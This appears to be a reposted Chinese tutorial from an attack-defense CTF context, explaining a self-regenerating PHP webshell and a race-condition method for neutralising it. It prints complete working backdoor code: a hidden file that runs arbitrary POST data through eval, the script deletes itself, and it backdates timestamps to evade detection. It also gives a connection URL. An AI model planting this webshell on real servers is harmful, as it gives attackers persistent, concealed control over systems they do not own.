AWD不死馬與克制方法


一個簡單的不死馬如:

<?php 
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.3.php';
    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
        usleep(5000);
    }
?>

在AWD比賽中,不死馬對於維持權限十分有效。將該php文件上傳到服務器,然后進行訪問,會在該路徑下循環生成名字為 .3.php 的不死馬隱藏文件,菜刀鏈接:

http://49.235.230.115:18894/.3.php?pass=pass

簡單解釋一下PHP不死馬代碼:

ignore_user_abort(true);

設置與客戶機斷開是否會終止腳本的執行,這里設置為true則忽略與用戶的斷開,即使與客戶機斷開腳本仍會執行。

set_time_limit(0);

設置腳本最大執行時間,這里設置為0,即沒有時間方面的限制

unlink(__FILE__);

刪除文件本身,以起到隱蔽自身的作用

    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
        usleep(5000);
    }

while循環中每隔usleep(5000)即寫新的后門文件,system命令用於修改文件的創建時間或修改時間,因為在AWD比賽中有的隊伍使用

find *.php -mmin -10

檢查十分鍾內被修改過的php文件,所以我們修改文件日期稍微進行掩飾。

最后校驗是為了防止自家木馬被其他人利用 (烏鴉坐飛機

<?php 
        if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){
            @eval($_POST[a]);
        } 
?>

  

對於不死馬,直接刪除腳本是沒有用的,因為php執行的時候已經把腳本讀進去解釋成opcode運行了,關於opcode有:

https://www.laruence.com/2008/06/18/221.html

個人感覺是內存或者緩沖一類的東西趴。

這里使用條件競爭寫入同名文件進行克制不死馬。

可以看到現在的 .3.php 文件內容仍為:

我們上傳一個寫 .3.php 的php文件,注意usleep需要比不死馬小,$code修改為無害內容

<?php 
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.3.php';
    $code = 'hi springbird !';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
    //    usleep(5000);
          usleep(1000);
    }
?>

注意紅框

上傳至服務器並訪問

再次查看 .3.php 文件內容

可以看到內容已無害

 

參考鏈接:

https://www.jianshu.com/p/3cd8cc491b54

https://www.laruence.com/2008/06/18/221.html

http://123.207.99.2/2019/08/28/php%E4%B8%8D%E6%AD%BB%E9%A9%AC%E6%B5%85%E6%9E%90/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM